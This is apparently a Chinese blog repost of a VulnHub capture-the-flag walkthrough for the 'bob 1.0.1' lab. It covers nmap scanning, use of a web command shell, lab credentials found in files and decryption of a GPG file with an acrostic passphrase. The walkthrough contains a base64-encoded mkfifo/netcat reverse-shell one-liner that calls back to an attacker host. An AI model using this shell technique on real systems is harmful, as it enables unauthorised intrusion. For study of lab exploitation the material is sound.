当前位置: 首页 > news >正文

vulnhub(12):bob 1.0.1(gpg文件解密)

端口

nmap主机发现
nmap -sn 192.168.72.0/24
​
Nmap scan report for 192.168.72.169
Host is up (0.00020s latency).
​
169是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn -sV 192.168.72.169 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE                          
80/tcp    open  http                                                             
25468/tcp open  ssh                                                     发现开放3个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.89.116详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 4 disallowed entries 
| /login.php /dev_shell.php /lat_memo.html 
|_/passwords.html
|_http-server-header: Apache/2.4.25 (Debian)
25468/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA)
|   256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA)
|_  256 391656fb4e0f508540d3532241433815 (ED25519)
​
分析:
25468 ssh端口开放
80 web端口开放
访问80,是个学校官网,查看整个页面没有敏感信息,查看robots.txt
​
User-agent: *
Disallow: /login.php
Disallow: /dev_shell.php
Disallow: /lat_memo.html
Disallow: /passwords.html
​
依次访问,发现shell位于/dev_shell.php页面

立足

echo "mkfifo /tmp/f;nc 192.168.72.162 1234 0</tmp/f|/bin/sh > /tmp/f 2>&1;rm /tmp/f"|base64|tr -d '\n'
bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjcyLjE2MiAxMjM0IDA8L3RtcC9mfC9iaW4vc2ggPiAvdG1wL2YgMj4mMTtybSAvdG1wL2YK
​
攻击机器:nc -nvlp 1234
​
command输入如下指令即可getshell:
echo "bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjcyLjE2MiAxMjM0IDA8L3RtcC9mfC9iaW4vc2ggPiAvdG1wL2YgMj4mMTtybSAvdG1wL2YK" | base64 -d | bash
提权
错误配置提不了权,直接找敏感文件
bob目录
.old_passwordfile.html包含jc和seb的密码
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
​
login.txt.gpg文件有被加密的字符串
​
note.sh 里有
echo "-= Notes =-"
echo "Harry Potter is my faviorite"
echo "Are you the real me?"
echo "Right, I'm ordering pizza this is going nowhere"
echo "People just don't get me"
echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>"
echo "Cucumber"
echo "Rest now your eyes are sleepy"
echo "Are you gonna stop reading this yet?"
echo "Time to fix the server"
echo "Everyone is annoying"
echo "Sticky notes gotta buy em"
elliot目录
theadminisdumb.txt里存着此用户密码,为theadminisdumb
登录seb和jc和elliot
这三个用户权限基本上和www-data差不多,没用
bob用户的gpg文件解密
GNU Privacy Guard 是一款使用 RFC4880 定义的 OpenPGP 加密标准的加密程序。它允许您使用私钥加密和数字签名文件和电子邮件通信,并使用随附的公钥解密这些文件和通信。
通常,使用 GnuPG 加密的文件会以.gpg扩展名保存。这表示它们已加密,可以使用 GnuPG 解密。但是,要解密 GPG 文件,您必须拥有必要的 GnuPG 密钥(通常是其他用户的公钥)。
​
当尝试解密login.txt.gpg时
gpg -d login.txt.gpg
出现下图

这里根据bob目录下的note.sh文件,推测passphrase是个藏头诗:HARPOCRATES
​
直接解密成功:bob:b0bcat_
登录后发现bob用户有所有sudo权限
直接sudo su切换root

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 你了解system V的ipc底层如何设计的吗?消息队列互相通信的原理是什么呢?是否经常将信号量和信号混淆呢?——问题详解
  • 构建高可用和高防御力的云服务架构:从DDoS高防到PolarDB
  • (SERIES10)DM逻辑备份还原
  • 828华为云征文 | 在Huawei Cloud EulerOS系统中安装Docker的详细步骤与常见问题解决
  • iTerm2下载并配置
  • 面向对象程序设计
  • react hooks--React.memo
  • 出厂非澎湃OS手机解BL锁
  • 企业急于采用人工智能,忽视了安全强化
  • 计算机毕业设计公交站点线路查询网站登录注册搜索站点线路车次/springboot/javaWEB/J2EE/MYSQL数据库/vue前后分离小程序
  • 如何将很多个pdf拼接在一起?很多种PDF拼接的方法
  • 通信-互联网技术-第一章计算机网络与协议
  • 基于SpringBoot+Vue的高校门禁管理系统
  • 监理工程师备考攻略:2025年监理工程师考试需要提前几个月备考?
  • 智能工厂的软件设计 “程序program”表达式,即 接口模型的代理模式表达式
  • 【5+】跨webview多页面 触发事件(二)
  • C++类中的特殊成员函数
  • ES6简单总结(搭配简单的讲解和小案例)
  • Java多线程(4):使用线程池执行定时任务
  • Laravel深入学习6 - 应用体系结构:解耦事件处理器
  • Material Design
  • php的插入排序,通过双层for循环
  • scrapy学习之路4(itemloder的使用)
  • Terraform入门 - 1. 安装Terraform
  • text-decoration与color属性
  • vue脚手架vue-cli
  • 复杂数据处理
  • 和 || 运算
  • 模仿 Go Sort 排序接口实现的自定义排序
  • 如何邀请好友注册您的网站(模拟百度网盘)
  • 跳前端坑前,先看看这个!!
  • 我有几个粽子,和一个故事
  • 小程序button引导用户授权
  • 一道面试题引发的“血案”
  • ​DB-Engines 12月数据库排名: PostgreSQL有望获得「2020年度数据库」荣誉?
  • ​LeetCode解法汇总1276. 不浪费原料的汉堡制作方案
  • ![CDATA[ ]] 是什么东东
  • #Spring-boot高级
  • #stm32驱动外设模块总结w5500模块
  • #知识分享#笔记#学习方法
  • (C语言)编写程序将一个4×4的数组进行顺时针旋转90度后输出。
  • (附源码)计算机毕业设计SSM基于java的云顶博客系统
  • (精确度,召回率,真阳性,假阳性)ACC、敏感性、特异性等 ROC指标
  • (九)c52学习之旅-定时器
  • (离散数学)逻辑连接词
  • (七)微服务分布式云架构spring cloud - common-service 项目构建过程
  • (数据大屏)(Hadoop)基于SSM框架的学院校友管理系统的设计与实现+文档
  • (一)使用IDEA创建Maven项目和Maven使用入门(配图详解)
  • (转)母版页和相对路径
  • (转载)Linux网络编程入门
  • .bat批处理(四):路径相关%cd%和%~dp0的区别
  • .net refrector
  • .Net 基于MiniExcel的导入功能接口示例
  • .NET/C# 使用反射调用含 ref 或 out 参数的方法
  • .NET/C# 中你可以在代码中写多个 Main 函数,然后按需要随时切换